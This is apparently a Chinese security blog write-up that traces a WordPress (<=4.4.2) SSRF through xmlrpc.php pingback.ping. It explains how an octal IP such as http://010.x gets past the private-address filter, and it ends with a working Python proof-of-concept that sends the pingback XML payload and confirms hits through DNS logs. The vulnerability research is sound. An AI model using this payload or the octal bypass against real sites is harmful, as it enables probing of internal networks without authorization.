cdxy.me
Footprints on Cyber Security and Python

通过这个漏洞熟悉一下WP的代码。

数据输入截图

数据跟踪

[xmlrpc.php] 获取POST的数据

$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );

创建xmlrpc_server,使用serve_request()方法处理输入。

$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
$wp_xmlrpc_server = new $wp_xmlrpc_server_class;

// Fire off the request
$wp_xmlrpc_server->serve_request();

[wp-includes/class-wp-xmlrpc-server.php] public function serve_request() line 194

$this->IXR_Server($this->methods);

[wp-includes/class-IXR.php] public function IXR_Server() line 432

$this->serve($data);

[wp-includes/class-IXR.php] function serve($data = false) line 470

$result = $this->call($this->message->methodName, $this->message->params);

[wp-includes/class-IXR.php] function call($methodname, $args) line 520:

$result = $this->method($args) 

//method:"pingback_ping"
//args:{"http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}

[wp-includes/class-wp-xmlrpc-server.php] public function pingback_ping($args) line 6181

$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );

//$pagelinkedfrom:"http://139.129.132.156:8080/"
//$pagelinkedto:"http://localhost/wordpress/?p=1"

[wp-includes/plugin.php] function apply_filters( $tag, $value ) line 235

$value = call_user_func_array($the_['function'], array_slice($args, 1, (int) $the_['accepted_args']));

//$args:{"pingback_ping_source_uri","http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
//$the_['function']="pingback_ping_source_uri"
//$the_['accepted_args']=1

[wp-includes/comment.php]function pingback_ping_source_uri( $source_uri ) line 2435

return (string) wp_http_validate_url( $source_uri );

//$source_uri:"http://139.129.132.156:8080/"

[wp-includes/http.php] function wp_http_validate_url( $url ) line 528

$host = trim( $parsed_url['host'], '.' ); // $host="139.129.132.156"
if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
    $ip = $host;
} else {
    $ip = gethostbyname( $host );
    if ( $ip === $host ) // Error condition for gethostbyname()
        $ip = false;
}
if ( $ip ) {
    $parts = array_map( 'intval', explode( '.', $ip ) );
    if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
        || ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
        || ( 192 === $parts[0] && 168 === $parts[1] )
    ) {
        // If host appears local, reject unless specifically allowed.
        /**
         * Check if HTTP request is external or not.
         *
         * Allows to change and allow external requests for the HTTP request.
         *
         * @since 3.6.0
         *
         * @param bool   false Whether HTTP request is external or not.
         * @param string $host IP of the requested host.
         * @param string $url  URL of the requested host.
         */
        if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
            return false;
    }
}

代码中对首先判断输入是否为IP,然后对本地的IP地址进行过滤(127,10,192)。

由于URL接受8进制,即输入为 http://010.10.43.2 时,会满足第一次正则校检,同时可以绕过第二次的过滤,造成内网10地址段的SSRF。

经过检查之后的数据回到pingback_ping: [wp-includes/class-wp-xmlrpc-server.php] public function pingback_ping($args) line 6262

$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );

//$pagelinkedfrom="8080"

[wp-includes/http.php] function pings_open( $post_id = null )

function wp_safe_remote_get( $url, $args = array() ) {
    $args['reject_unsafe_urls'] = true;
    $http = _wp_http_get_object();
    return $http->get( $url, $args );
}

[wp-includes/class-http.php] public function get($url, $args = array()) line 430

return $this->request($url, $r);

[wp-includes/class-http.php] public function request( $url, $args = array() ) line 277

$response = $this->_dispatch_request( $url, $r );

[wp-includes/class-http.php] private function _dispatch_request( $url, $args ) line 367

$response = $transports[$class]->request( $url, $args );

[wp-includes/class-wp-http-curl.php] public function request($url, $args = array()) line 239

curl_exec( $handle );

到此发包动作结束,公网主机接受到数据:

接受数据截图

随后处理回显,无论成功与否都会返回:

这里写图片描述

修复与PoC

通过xmlrpc对外网的SSRF目前WP 5.X-latest仍然可用。 但访问内网的漏洞在5.x版本已补,官方修复方式为更改了判定IP的正则,使http://010.xxxx这种IP无法通过。

由于没有回显,只能使用CloudEye的DNS日志和Apache日志确认目标。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = i@cdxy.me
# project = https://github.com/Xyntax/POC-T

"""
WordPress 4.4 Server Side Request Forgery (SSRF)
Version
  WordPress <= 4.4.2
"""

import requests
from plugin.cloudeye import CloudEye

req_timeout = 10


def poc(url):
    if '://' not in url:
        url = 'http://' + url
    targeturl = url.rstrip('/') + "/xmlrpc.php"

    c = CloudEye()
    dst = c.getRandomDomain('wpssrf')

    # 第一个地址段为SSRF的目标地址,格式为(http[s]://IP|DOAMIN)[:(80|8080|443)]。
    # 只能这三个端口,外网地址全通,内网地址被过滤,可用8进制突破10开头的地址段。
    # 第二个地址段需要该站实际存在的文章地址,用?p=1自动适配。
    payload = """
        <?xml version="1.0" encoding="iso-8859-1"?>
        <methodCall>
        <methodName>pingback.ping</methodName>
        <params>
        <param><value><string>http://{target}/</string></value></param>
        <param><value><string>{victim}?p=1</string></value></param>
        </params>
        </methodCall>""".format(target=dst, victim=url.rstrip('/') + '/')

    header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
              'Content-Type': 'text/xml'}
    try:
        # 无法从回显判断
        requests.post(targeturl, data=payload, headers=header, timeout=req_timeout)
        if c.verifyDNS(delay=3):
            return True
    except Exception, e:
        pass
return False